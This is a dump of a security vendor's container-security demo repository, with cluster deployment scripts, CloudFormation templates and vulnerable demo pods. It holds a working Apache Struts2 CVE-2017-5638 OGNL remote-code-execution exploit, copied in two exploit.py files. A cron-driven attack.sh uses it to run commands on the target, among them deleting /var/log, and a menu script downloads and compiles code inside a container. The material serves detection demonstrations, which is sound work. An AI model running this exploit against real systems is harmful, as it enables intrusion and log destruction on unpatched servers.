├── .github ├── ISSUE_TEMPLATE │ ├── config.yml │ └── bug_report.md ├── pull_request_template.md └── workflows │ ├── greetings.yml │ ├── codeql.yml │ └── linter.yml ├── cloudshell ├── calico │ └── values.yaml ├── auxiliary_scripts │ ├── stop-cluster.sh │ ├── deploy-calico.sh │ ├── deploy-eks.sh │ └── deploy-container-security.sh ├── pods │ ├── node-web-app.yaml │ ├── attacker.yaml │ ├── java-goof.yaml │ └── openssl3.yaml ├── attacks │ ├── java-goof │ │ ├── command.sh │ │ └── ls.sh │ └── xdr-demo.sh ├── cleanup.sh ├── deploy.sh └── attack.sh ├── dockerfiles ├── automated-attacker │ ├── attacker.crontab │ ├── Dockerfile │ ├── attack.sh │ └── exploit.py ├── attacker │ ├── Dockerfile │ └── exploit.py └── openssl3 │ ├── app │ └── app.js │ └── Dockerfile ├── .DS_Store ├── cloudshell.zip ├── utils ├── ecs-service.template.yaml ├── launch-sync.sh ├── randomstring.template.yaml ├── keypair.template.yaml ├── main.template.yaml ├── vpc.template.yaml └── ecs.template.yaml ├── sync.sh ├── SECURITY.md ├── launch.sh ├── README.md └── LICENSE /.github/ISSUE_TEMPLATE/config.yml: -------------------------------------------------------------------------------- 1 | blank_issues_enabled: false -------------------------------------------------------------------------------- /cloudshell/calico/values.yaml: -------------------------------------------------------------------------------- 1 | { installation: {kubernetesProvider: EKS }} 2 | -------------------------------------------------------------------------------- /dockerfiles/automated-attacker/attacker.crontab: -------------------------------------------------------------------------------- 1 | */5 * * * * /app/attack.sh 2 | -------------------------------------------------------------------------------- /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trendmicro/tm-v1-containersecurity/main/.DS_Store -------------------------------------------------------------------------------- /cloudshell.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trendmicro/tm-v1-containersecurity/main/cloudshell.zip -------------------------------------------------------------------------------- /.github/pull_request_template.md: -------------------------------------------------------------------------------- 1 | ## Proposed Changes 2 | - New blah blah 3 | - Creates blah blah 4 | - Full details listed here. -------------------------------------------------------------------------------- /dockerfiles/attacker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3 2 | COPY . /app 3 | WORKDIR /app 4 | RUN ls -lah 5 | ENTRYPOINT ["python3", "/app/exploit.py"] -------------------------------------------------------------------------------- /cloudshell/auxiliary_scripts/stop-cluster.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Reads the cluster name 4 | CLUSTER_NAME=$(cat .container-security-demo) 5 | 6 | eksctl delete cluster "$CLUSTER_NAME" 7 | -------------------------------------------------------------------------------- /dockerfiles/openssl3/app/app.js: -------------------------------------------------------------------------------- 1 | const http = require('http'); 2 | 3 | const port = 80; 4 | 5 | http.createServer(function (req, res) { 6 | res.writeHead(200, {'Content-Type': 'text/plain'}); 7 | res.write('Hello vulnerable World!'); 8 | res.end(); 9 | }).listen(port); -------------------------------------------------------------------------------- /dockerfiles/openssl3/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:jammy-20221020 2 | 3 | RUN apt-get update && \ 4 | apt-get install nodejs -y && \ 5 | rm -rf /var/lib/apt/lists/* 6 | 7 | COPY app/app.js /tmp/app.js 8 | 9 | EXPOSE 80 10 | 11 | ENTRYPOINT [ "node", "tmp/app.js" ] -------------------------------------------------------------------------------- /cloudshell/pods/node-web-app.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: node-web-app 5 | namespace: default 6 | spec: 7 | containers: 8 | - name: node-web-app 9 | image: neuralegion/vulnerable-node-app@sha256:516b747dec633d90a3df7b2f03217526ca0894d37112a2c9a9be9a0153ddffa6 -------------------------------------------------------------------------------- /cloudshell/attacks/java-goof/command.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | 6 | COMMAND=$1 7 | URL="http://$(kubectl get svc -n demo --selector=app=java-goof -o jsonpath='{.items[*].spec.clusterIP}')" 8 | 9 | kubectl run attacker --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "$COMMAND" -------------------------------------------------------------------------------- /cloudshell/attacks/java-goof/ls.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | 6 | COMMAND="ls" 7 | URL="http://$(kubectl get svc -n demo --selector=app=java-goof -o jsonpath='{.items[*].status.loadBalancer.ingress[0].hostname}')" 8 | 9 | kubectl run attacker --rm -i --tty --image raphabot/container-sec-attacker "$URL" $COMMAND -------------------------------------------------------------------------------- /cloudshell/pods/attacker.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: attacker 5 | namespace: demo 6 | labels: 7 | app: attacker 8 | spec: 9 | replicas: 1 10 | selector: 11 | matchLabels: 12 | app: attacker 13 | template: 14 | metadata: 15 | labels: 16 | app: attacker 17 | spec: 18 | containers: 19 | - name: attacker 20 | image: public.ecr.aws/k1q0d6m0/attacker 21 | --- -------------------------------------------------------------------------------- /dockerfiles/automated-attacker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3 2 | RUN apt-get update && \ 3 | apt-get install cron -y && \ 4 | rm -rf /var/lib/apt/lists/* 5 | COPY . /app 6 | WORKDIR /app 7 | COPY ./attacker.crontab /etc/cron.d/attacker.crontab 8 | RUN chmod 0644 /etc/cron.d/attacker.crontab 9 | RUN chmod 0744 /app/attack.sh 10 | RUN chmod +x /app/attack.sh 11 | RUN crontab /etc/cron.d/attacker.crontab 12 | RUN touch /var/log/cron.log 13 | ENTRYPOINT [ "cron" , "-f" ] 14 | -------------------------------------------------------------------------------- /cloudshell/auxiliary_scripts/deploy-calico.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | 6 | # Check if helm is installed. 7 | if ! command -v helm &> /dev/null 8 | then 9 | echo "helm could not be found. Install it following this: https://helm.sh/docs/intro/install/" 10 | exit 11 | fi 12 | 13 | # https://docs.aws.amazon.com/eks/latest/userguide/calico.html 14 | kubectl create namespace tigera-operator 15 | helm repo add projectcalico https://docs.projectcalico.org/charts 16 | helm repo update 17 | helm install calico projectcalico/tigera-operator --version v3.24.1 -f calico/values.yaml --namespace tigera-operator -------------------------------------------------------------------------------- /cloudshell/auxiliary_scripts/deploy-eks.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | 6 | # Check if eksctl is installed. 7 | if ! command -v eksctl &> /dev/null 8 | then 9 | echo "eksctl could not be found. Install it following this: https://docs.aws.amazon.com/eks/latest/userguide/eksctl.html" 10 | exit 11 | fi 12 | 13 | CLUSTER_NAME=$(whoami)-cluster-$RANDOM 14 | 15 | echo "$CLUSTER_NAME" > .container-security-demo 16 | 17 | eksctl create cluster \ 18 | --tags Project=ReInforceContainerSecurityDemo \ 19 | -t t3a.medium \ 20 | --enable-ssm \ 21 | --full-ecr-access \ 22 | --alb-ingress-access \ 23 | --tags purpose=demo,owner="$(whoami)" \ 24 | --name "$CLUSTER_NAME" -------------------------------------------------------------------------------- /.github/workflows/greetings.yml: -------------------------------------------------------------------------------- 1 | name: Greetings 2 | 3 | on: [pull_request_target, issues] 4 | 5 | jobs: 6 | greeting: 7 | runs-on: ubuntu-latest 8 | permissions: 9 | issues: write 10 | pull-requests: write 11 | steps: 12 | - uses: actions/first-interaction@v1 13 | with: 14 | repo-token: ${{ secrets.GITHUB_TOKEN }} 15 | issue-message: "Greetings! Thanks for your submission! We will be in touch with you as soon as possible. Please note this communitiy is managed by Trend Micro Employees, but not there main job, so if this is urgent, we suggest opening a support case!" 16 | pr-message: "Greetings! Thanks for your submission! We will be in touch with you as soon as possible." 17 | -------------------------------------------------------------------------------- /cloudshell/pods/java-goof.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: java-goof 5 | namespace: demo 6 | labels: 7 | app: java-goof 8 | spec: 9 | replicas: 1 10 | selector: 11 | matchLabels: 12 | app: java-goof 13 | template: 14 | metadata: 15 | labels: 16 | app: java-goof 17 | spec: 18 | containers: 19 | - name: java-goof 20 | image: public.ecr.aws/k1q0d6m0/java-demo:latest 21 | ports: 22 | - containerPort: 80 23 | --- 24 | apiVersion: v1 25 | kind: Service 26 | metadata: 27 | name: java-goof-service 28 | namespace: demo 29 | labels: 30 | app: java-goof 31 | spec: 32 | selector: 33 | app: java-goof 34 | type: ClusterIP 35 | ports: 36 | - port: 80 37 | targetPort: 8080 -------------------------------------------------------------------------------- /cloudshell/pods/openssl3.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: web-app 5 | namespace: demo 6 | labels: 7 | app: web-app 8 | spec: 9 | replicas: 1 10 | selector: 11 | matchLabels: 12 | app: web-app 13 | template: 14 | metadata: 15 | labels: 16 | app: web-app 17 | spec: 18 | containers: 19 | - name: web-app 20 | image: public.ecr.aws/k1q0d6m0/openssl3-demo 21 | ports: 22 | - containerPort: 80 23 | --- 24 | apiVersion: v1 25 | kind: Service 26 | metadata: 27 | name: web-app-service 28 | namespace: demo 29 | labels: 30 | app: web-app 31 | spec: 32 | selector: 33 | app: web-app 34 | type: ClusterIP 35 | ports: 36 | - protocol: TCP 37 | port: 80 38 | targetPort: 80 39 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: bug 6 | assignees: '' 7 | 8 | --- 9 | 10 | 14 | 15 | # 16 | 17 | 18 | ## Describe the bug 19 | 20 | 21 | 22 | ## To reproduce 23 | 24 | 31 | 32 | ## Expected behavior 33 | 34 | 35 | 36 | ## Screenshots 37 | 38 | 39 | 40 | ## Additional context 41 | 42 | -------------------------------------------------------------------------------- /cloudshell/attacks/xdr-demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Bash Menu Script Example for V1CS SAE-Model Demo 3 | 4 | # Set color green for echo output 5 | green=$(tput setaf 2) 6 | 7 | PS3='Select the number of the attack: ' 8 | options=("Terminal Shell in Container" "Compile After Delivery" "Quit") 9 | select opt in "${options[@]}" 10 | do 11 | case $opt in 12 | "Terminal Shell in Container") 13 | echo "💬${green}Running shell in container..." 14 | kubectl run attacker-$RANDOM --rm -i --tty --image ubuntu/apache2:2.4-22.04_beta -- bash -c "ls -lh" 15 | ;; 16 | "Compile After Delivery") 17 | echo "💬${green}Running Compile After Delivery..." 18 | kubectl run attacker-$RANDOM --rm -i --tty --image ubuntu/apache2:2.4-22.04_beta -- bash -c "apt update;apt install wget gcc -y;wget https://raw.githubusercontent.com/SoOM3a/c-hello-world/master/hello.c;gcc hello.c;ls -lh" 19 | ;; 20 | "Quit") 21 | break 22 | ;; 23 | *) echo "invalid option $REPLY";; 24 | esac 25 | done -------------------------------------------------------------------------------- /.github/workflows/codeql.yml: -------------------------------------------------------------------------------- 1 | name: "Code Scanning" 2 | 3 | # It trigger when any push or PR is made in the the code under the branch configured and every 09:00AM on Monday, Wednesday, and Friday 4 | on: 5 | push: 6 | branches: 7 | - main 8 | pull_request: 9 | branches: 10 | - main 11 | schedule: 12 | - cron: '0 9 * * 1,3,5' 13 | 14 | # Allows to run this workflow manually from the Actions tab 15 | workflow_dispatch: 16 | 17 | jobs: 18 | analyze: 19 | name: Analyze 20 | runs-on: ubuntu-latest 21 | permissions: 22 | actions: read 23 | contents: read 24 | security-events: write 25 | strategy: 26 | fail-fast: false 27 | matrix: 28 | language: [ 'python', 'javascript' ] 29 | steps: 30 | - name: Checkout repository 31 | uses: actions/checkout@v3 32 | 33 | # Initializes the CodeQL tools for scanning. 34 | - name: Initialize CodeQL 35 | uses: github/codeql-action/init@v2 36 | with: 37 | languages: ${{ matrix.language }} 38 | - name: Perform CodeQL Analysis 39 | uses: github/codeql-action/analyze@v2 -------------------------------------------------------------------------------- /dockerfiles/automated-attacker/attack.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Bash Menu Script Example 3 | 4 | # Fetch victim URL using kubectl 5 | 6 | echo "URL: $URL" 7 | print "URL: $URL - Attacks Running" 8 | echo "💬${green}☠☠☠☠☠☠ RUNNING EVERYTHING ☠☠☠☠☠☠☠" 9 | echo "💬${green}Showing what users is running the application..." 10 | python ./exploit.py "http://$URL" "whoami" 11 | echo "💬${green}Showing running services and processes..." 12 | python ./exploit.py "http://$URL" "service --status-all && ps -aux" 13 | echo "💬${green}Showing current log files..." 14 | python ./exploit.py "http://$URL" "ls -lah /var/log" 15 | echo "💬${green}Deleting the log folder..." 16 | python ./exploit.py "http://$URL" "rm -rf /var/log" 17 | echo "💬${green}Showing the log folder was deleted..." 18 | python ./exploit.py "http://$URL" "ls -lah /var/log" 19 | echo "💬${green}Showing current files..." 20 | python ./exploit.py "http://$URL" "ls -lah /tmp" 21 | echo "💬${green}Create a new file..." 22 | python ./exploit.py "http://$URL" "touch /tmp/TREND_HAS_BEEN_HERE" 23 | echo "💬${green}Showing files again..." 24 | python ./exploit.py "http://$URL" "ls -lah /tmp" 25 | -------------------------------------------------------------------------------- /utils/ecs-service.template.yaml: -------------------------------------------------------------------------------- 1 | AWSTemplateFormatVersion: 2010-09-09 2 | Description: The template used to create an ECS Service. 3 | Parameters: 4 | ECSClusterName: 5 | Type: String 6 | taskdefinition: 7 | Type: String 8 | Resources: 9 | ECSService: 10 | Type: 'AWS::ECS::Service' 11 | Properties: 12 | Cluster: !Ref ECSClusterName 13 | TaskDefinition: !Ref taskdefinition 14 | LaunchType: EC2 15 | ServiceName: 'demo-service' 16 | SchedulingStrategy: REPLICA 17 | DesiredCount: 1 18 | DeploymentConfiguration: 19 | MaximumPercent: 200 20 | MinimumHealthyPercent: 100 21 | DeploymentCircuitBreaker: 22 | Enable: true 23 | Rollback: true 24 | DeploymentController: 25 | Type: ECS 26 | ServiceConnectConfiguration: 27 | Enabled: false 28 | PlacementStrategies: 29 | - Field: 'attribute:ecs.availability-zone' 30 | Type: spread 31 | - Field: instanceId 32 | Type: spread 33 | PlacementConstraints: [] 34 | Tags: [] 35 | EnableECSManagedTags: true 36 | Outputs: 37 | ECSService: 38 | Description: The created service. 39 | Value: !Ref ECSService -------------------------------------------------------------------------------- /.github/workflows/linter.yml: -------------------------------------------------------------------------------- 1 | name: "Code Linter" 2 | 3 | # It trigger when any push or PR is made in the the code under the branch configured 4 | on: 5 | push: 6 | branches: 7 | - main 8 | pull_request: 9 | branches: 10 | - main 11 | 12 | # Allows to run this workflow manually from the Actions tab 13 | workflow_dispatch: 14 | 15 | # Linter to check errors 16 | jobs: 17 | Linter: 18 | runs-on: ubuntu-latest 19 | steps: 20 | - uses: actions/checkout@v3 21 | with: 22 | # Full git history is needed to get a proper list of changed files within `super-linter` 23 | fetch-depth: 0 24 | - name: Setup Linter cfn-lint 25 | uses: scottbrenner/cfn-lint-action@v2 26 | - name: Run Linter 27 | run: | 28 | cfn-lint --version 29 | cfn-lint -t ./**/*template.yaml -i W E3012 E3005 E2015 30 | - name: Lint Code Base 31 | uses: github/super-linter@v4 32 | env: 33 | VALIDATE_PYTHON_PYLINT: true 34 | VALIDATE_JAVASCRIPT_ES: true 35 | VALIDATE_POWERSHELL: true 36 | VALIDATE_JSON: true 37 | DEFAULT_BRANCH: main 38 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 39 | -------------------------------------------------------------------------------- /cloudshell/cleanup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | 6 | curl --silent --location "https://github.com/weaveworks/eksctl/releases/latest/download/eksctl_$(uname -s)_amd64.tar.gz" | tar xz -C /tmp 7 | sudo mv /tmp/eksctl /usr/local/bin 8 | 9 | 10 | # Check if jq is installed. 11 | if ! command -v jq &> /dev/null 12 | then 13 | echo "jq could not be found. Install it following this: https://stedolan.github.io/jq/download/" 14 | exit 15 | fi 16 | 17 | # Set color green for echo output 18 | green=$(tput setaf 2) 19 | 20 | # Defie State File name 21 | STATE_FILE=".container-security-demo" 22 | 23 | # First parameter is the cloudone dev us1 api key. 24 | STACK_NAME=$1 25 | AWS_REGION=$2 26 | 27 | # Reads the cluster name and deletes it 28 | echo "💬 ${green}Destroying the cluster..." 29 | CLUSTER_NAME=$(cat $STATE_FILE | jq -r '.clustername') 30 | eksctl delete cluster "$CLUSTER_NAME" 31 | 32 | 33 | # Destroys the CFN stack 34 | STACK_NAME=$(cat $STATE_FILE | jq -r '.stackname') 35 | AWS_REGION=$(cat $STATE_FILE | jq -r '.region') 36 | echo "💬 ${green}Destroying the Stack..." 37 | aws cloudformation delete-stack --stack-name "$STACK_NAME" --region "$AWS_REGION" 38 | 39 | echo "💬 ${green}Demo was succesfully deleted." -------------------------------------------------------------------------------- /sync.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | 6 | # Check if number of arguments equals 3 or 4 7 | if [ "$#" -ne 2 ]; then 8 | echo "You must enter 2 command line arguments: BUCKET_NAME AWS_PROFILE" 9 | exit 10 | fi 11 | 12 | # Check if AWS CLI is installed. 13 | if ! command -v aws &> /dev/null 14 | then 15 | echo "AWS CLI could not be found. Install it here: https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html" 16 | exit 17 | fi 18 | 19 | # Check if JQ is installed. 20 | if ! command -v jq &> /dev/null 21 | then 22 | echo "JQ could not be found." 23 | exit 24 | fi 25 | 26 | # Get Bucket 27 | BUCKET_NAME=$1 28 | AWS_PROFILE=$2 29 | Bucket_Location=$(aws s3api get-bucket-location --bucket ${BUCKET_NAME} --profile ${AWS_PROFILE} --output text) 30 | if [ $Bucket_Location != '' ] && [ $Bucket_Location != 'None' ] 31 | then 32 | BUCKET_REGION=${Bucket_Location} 33 | else 34 | BUCKET_REGION="us-east-1" 35 | fi 36 | echo 'Bucket Region is '${BUCKET_REGION} 37 | echo "" 38 | 39 | #Remove cloudshell.zip 40 | rm cloudshell.zip 41 | echo "cloudshell.zip removed" 42 | echo "" 43 | #Recreate cloudshell.zip 44 | zip cloudshell.zip -r -q cloudshell/* 45 | echo "cloudshell.zip updated" 46 | echo "" 47 | # Sync local folder with S3 48 | FOLDER="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" 49 | 50 | echo 'Syncing local files to S3 bucket...' 51 | aws s3 sync ${FOLDER} s3://${BUCKET_NAME}/ --exclude ".git/*" --profile ${AWS_PROFILE} --delete 52 | echo 'Files synced!' 53 | echo '' 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Supported Versions 4 | 5 | There are no official “Long Term Support” versions, instead, fixes to vulnerabilities are made 6 | for the latest feature release and merged up to the main branch. 7 | 8 | The Trend Vision One Cloud Community makes no formal guarantee for any older maintenance tracks to receive updates. 9 | In practice, though, critical vulnerability fixes are applied only to the most recent version. 10 | 11 | ## Reporting a Vulnerability 12 | 13 | The Trend Vision One Cloud Community take all security vulnerabilities seriously. 14 | Thank you for improving the security of our open source software. 15 | We appreciate your efforts and responsible disclosure and will 16 | make every effort to acknowledge your contributions. 17 | 18 | Report security vulnerabilities by creating a request to the Cloud One Community security team [here](https://github.com/trendmicro/tm-v1/security/advisories/new) 19 | 20 | The lead maintainer will acknowledge your request, and will 21 | send a more detailed response indicating the next steps in 22 | handling your report. After the initial reply to your report, the security 23 | team will endeavor to keep you informed of the progress towards a fix and 24 | full announcement, and may ask for additional information or guidance. 25 | 26 | Report security vulnerabilities in third-party modules to the person or 27 | team maintaining the module. 28 | 29 | ## Disclosure Policy 30 | 31 | When the security team receives a security bug report, they will assign it 32 | to a primary handler. This person will coordinate the fix and release 33 | process, involving the following steps: 34 | 35 | * Confirm the problem and determine the affected versions. 36 | * Audit code to find any potential similar problems. 37 | * Prepare fixes for all releases still under maintenance. 38 | * These fixes will be released as fast as possible. 39 | -------------------------------------------------------------------------------- /utils/launch-sync.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | 6 | # Check if number of arguments equals 3 or 4 7 | if [ "$#" -ne 3 ]; then 8 | echo "You must enter 3 or 4 command line arguments: BUCKET_NAME STACK_NAME AWS_PROFILE" 9 | exit 10 | fi 11 | 12 | # Check if AWS CLI is installed. 13 | if ! command -v aws &> /dev/null 14 | then 15 | echo "AWS CLI could not be found. Install it here: https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html" 16 | exit 17 | fi 18 | 19 | # Check if JQ is installed. 20 | if ! command -v jq &> /dev/null 21 | then 22 | echo "JQ could not be found." 23 | exit 24 | fi 25 | 26 | # Get Bucket 27 | BUCKET_NAME=$1 28 | AWS_PROFILE=$3 29 | Bucket_Location=$(aws s3api get-bucket-location --bucket ${BUCKET_NAME} --profile ${AWS_PROFILE} --output text) 30 | if [ $Bucket_Location != '' ] && [ $Bucket_Location != 'None' ] 31 | then 32 | BUCKET_REGION=${Bucket_Location} 33 | else 34 | BUCKET_REGION="us-east-1" 35 | fi 36 | echo 'Bucket Region is '${BUCKET_REGION} 37 | echo "" 38 | 39 | # Sync local folder with S3 40 | FOLDER="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" 41 | 42 | echo 'Syncing local files to S3 bucket...' 43 | aws s3 sync ${FOLDER} s3://${BUCKET_NAME}/ --exclude ".git/*" --profile ${AWS_PROFILE} --delete 44 | echo 'Files synced!' 45 | echo '' 46 | 47 | # Create CloudFormation Stack 48 | STACK_NAME=$2 49 | BUCKET_URL="https://"${BUCKET_NAME}".s3."${BUCKET_REGION}".amazonaws.com" 50 | TEMPLATE_URL=""${BUCKET_URL}"/main.template.yaml" 51 | PARAMETER1="true" 52 | PARAMETER2="true" 53 | echo 'Deploying Stack...' 54 | # You should add more parameters as needed under the --parameters flag, like: 55 | # ParameterKey=PARAMETER1,ParameterValue=${PARAMETER1} \ 56 | # ParameterKey=PARAMETER2,ParameterValue=${PARAMETER2} \ 57 | aws cloudformation create-stack --stack-name ${STACK_NAME} \ 58 | --template-url ${TEMPLATE_URL} \ 59 | --parameters ParameterKey=BuildEks,ParameterValue=false \ 60 | --parameters ParameterKey=BuildEcs,ParameterValue=true \ 61 | --capabilities CAPABILITY_IAM CAPABILITY_NAMED_IAM CAPABILITY_AUTO_EXPAND \ 62 | --profile ${AWS_PROFILE} --disable-rollback --region us-east-1 63 | 64 | echo 'Stack deployed!' 65 | 66 | 67 | -------------------------------------------------------------------------------- /dockerfiles/attacker/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # pylint: skip-file 4 | # From https://github.com/rapid7/metasploit-framework/issues/8064 5 | 6 | import urllib.request 7 | import http.client 8 | import ssl 9 | 10 | 11 | def exploit(url, cmd): 12 | payload = "%{(#_='multipart/form-data')." 13 | payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." 14 | payload += "(#_memberAccess?" 15 | payload += "(#_memberAccess=#dm):" 16 | payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." 17 | payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." 18 | payload += "(#ognlUtil.getExcludedPackageNames().clear())." 19 | payload += "(#ognlUtil.getExcludedClasses().clear())." 20 | payload += "(#context.setMemberAccess(#dm))))." 21 | payload += "(#cmd='%s')." % cmd 22 | payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." 23 | payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." 24 | payload += "(#p=new java.lang.ProcessBuilder(#cmds))." 25 | payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." 26 | payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." 27 | payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." 28 | payload += "(#ros.flush())}" 29 | 30 | try: 31 | ctx = ssl.create_default_context() 32 | ctx.check_hostname = False 33 | ctx.verify_mode = ssl.CERT_NONE 34 | 35 | headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} 36 | request = urllib.request.Request(url, headers=headers) 37 | 38 | page = urllib.request.urlopen(url=request, context=ctx).read() 39 | except (http.client.IncompleteRead, e): 40 | page = e.partial 41 | 42 | print(page) 43 | return page 44 | 45 | 46 | if __name__ == '__main__': 47 | import sys 48 | if len(sys.argv) != 3: 49 | print("[*] struts2_S2-045.py ") 50 | else: 51 | print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') 52 | url = sys.argv[1] 53 | cmd = sys.argv[2] 54 | print("[*] cmd: %s\n" % cmd) 55 | exploit(url, cmd) 56 | -------------------------------------------------------------------------------- /dockerfiles/automated-attacker/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # pylint: skip-file 4 | # From https://github.com/rapid7/metasploit-framework/issues/8064 5 | 6 | import urllib.request 7 | import http.client 8 | import ssl 9 | 10 | 11 | def exploit(url, cmd): 12 | payload = "%{(#_='multipart/form-data')." 13 | payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." 14 | payload += "(#_memberAccess?" 15 | payload += "(#_memberAccess=#dm):" 16 | payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." 17 | payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." 18 | payload += "(#ognlUtil.getExcludedPackageNames().clear())." 19 | payload += "(#ognlUtil.getExcludedClasses().clear())." 20 | payload += "(#context.setMemberAccess(#dm))))." 21 | payload += "(#cmd='%s')." % cmd 22 | payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." 23 | payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." 24 | payload += "(#p=new java.lang.ProcessBuilder(#cmds))." 25 | payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." 26 | payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." 27 | payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." 28 | payload += "(#ros.flush())}" 29 | 30 | try: 31 | ctx = ssl.create_default_context() 32 | ctx.check_hostname = False 33 | ctx.verify_mode = ssl.CERT_NONE 34 | 35 | headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} 36 | request = urllib.request.Request(url, headers=headers) 37 | 38 | page = urllib.request.urlopen(url=request, context=ctx).read() 39 | except (http.client.IncompleteRead, e): 40 | page = e.partial 41 | 42 | print(page) 43 | return page 44 | 45 | 46 | if __name__ == '__main__': 47 | import sys 48 | if len(sys.argv) != 3: 49 | print("[*] struts2_S2-045.py ") 50 | else: 51 | print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') 52 | url = sys.argv[1] 53 | cmd = sys.argv[2] 54 | print("[*] cmd: %s\n" % cmd) 55 | exploit(url, cmd) 56 | -------------------------------------------------------------------------------- /utils/randomstring.template.yaml: -------------------------------------------------------------------------------- 1 | AWSTemplateFormatVersion : 2010-09-09 2 | Description : Creating a random string custom resource 3 | Resources: 4 | 5 | LambdaExecutionRole: 6 | Type: AWS::IAM::Role 7 | Properties: 8 | AssumeRolePolicyDocument: 9 | Version: '2012-10-17' 10 | Statement: 11 | - Effect: Allow 12 | Principal: 13 | Service: 14 | - lambda.amazonaws.com 15 | Action: 16 | - sts:AssumeRole 17 | Policies: 18 | - 19 | PolicyName: allowLambdaLogging 20 | PolicyDocument: 21 | Version: "2012-10-17" 22 | Statement: 23 | - 24 | Effect: "Allow" 25 | Action: 26 | - "logs:*" 27 | Resource: "*" 28 | 29 | 30 | RandomStringLambdaFunction: 31 | Type: AWS::Lambda::Function 32 | Properties: 33 | Code: 34 | ZipFile: | 35 | import cfnresponse 36 | from random import choice 37 | from string import ascii_lowercase, digits, ascii_uppercase 38 | def random_string(length=8, chars=ascii_lowercase + digits + ascii_uppercase + "@^_*-"): 39 | return "".join(choice(chars) for x in range(length)) 40 | def lambda_handler(event, context): 41 | print(f"Data in event: {event}") 42 | response_data = {} 43 | if event["RequestType"] == "Create": 44 | string_length = int(event["ResourceProperties"]["Length"]) 45 | physicalResourceId = random_string(string_length) + "a^1B" 46 | response_data = { "RandomString": physicalResourceId } 47 | 48 | else: # if event["RequestType"] == "Update" or event["RequestType"] == "Delete": 49 | physicalResourceId = event["PhysicalResourceId"] 50 | cfnresponse.send(event, context, cfnresponse.SUCCESS, response_data, physicalResourceId) 51 | Handler: index.lambda_handler 52 | Runtime: python3.11 53 | Role: !GetAtt LambdaExecutionRole.Arn 54 | MemorySize: 128 55 | Timeout: 10 56 | 57 | # Custom Resource 1 58 | SecretPassword: 59 | Type: AWS::CloudFormation::CustomResource 60 | Properties: 61 | Length: "12" 62 | ServiceToken: !GetAtt RandomStringLambdaFunction.Arn 63 | 64 | # Outputs 65 | Outputs: 66 | SecretPassword: 67 | Value: !GetAtt SecretPassword.RandomString 68 | Description: "Sample random string generated by lambda function using Python3.11" 69 | -------------------------------------------------------------------------------- /utils/keypair.template.yaml: -------------------------------------------------------------------------------- 1 | AWSTemplateFormatVersion: "2010-09-09" 2 | Description: Creates an ec2 keypair called 'lab-key-pair' 3 | 4 | Parameters: 5 | KeyPairName: 6 | Description: Name used for the key pair to be generated. 7 | Type: String 8 | Default: 